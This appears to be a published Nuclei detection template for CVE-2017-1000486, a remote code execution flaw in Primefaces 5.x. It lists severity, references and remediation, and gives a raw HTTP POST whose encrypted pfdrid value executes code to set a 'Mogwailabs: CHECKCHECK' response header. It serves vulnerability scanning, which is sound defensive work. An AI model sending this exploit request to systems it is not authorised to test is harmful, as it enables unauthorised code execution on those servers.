Primetek Primefaces 5.x - Remote Code Execution

ID: CVE-2017-1000486

Severity: critical

Author: Moritz Nentwig

Tags: cve2017,cve,primetek,rce,injection,kev

Description

Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution.

YAML Source

id: CVE-2017-1000486

info:
  name: Primetek Primefaces 5.x - Remote Code Execution
  author: Moritz Nentwig
  severity: critical
  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of the Primetek Primefaces application.
  reference:
    - https://github.com/mogwailabs/CVE-2017-1000486
    - https://github.com/pimps/CVE-2017-1000486
    - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
    - https://cryptosense.com/weak-encryption-flaw-in-primefaces/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-1000486
    cwe-id: CWE-326
    epss-score: 0.97013
    epss-percentile: 0.99726
    cpe: cpe:2.3:a:primetek:primefaces:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: primetek
    product: primefaces
  tags: cve2017,cve,primetek,rce,injection,kev

http:
  - raw:
      - |
        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip, deflate

        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D

    matchers:
      - type: word
        part: header
        words:
          - 'Mogwailabs: CHECKCHECK'
# digest: 4a0a00473045022100c637208edb64b9b69f52bd62158211745f1bf5ae5422f4bd03f50fa8787bfe7b02206f58fece368a404c6ec74fda5f5cc5d3846e20d551f51506a8f5308c1fe26f2b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-1000486.yaml"

View on Github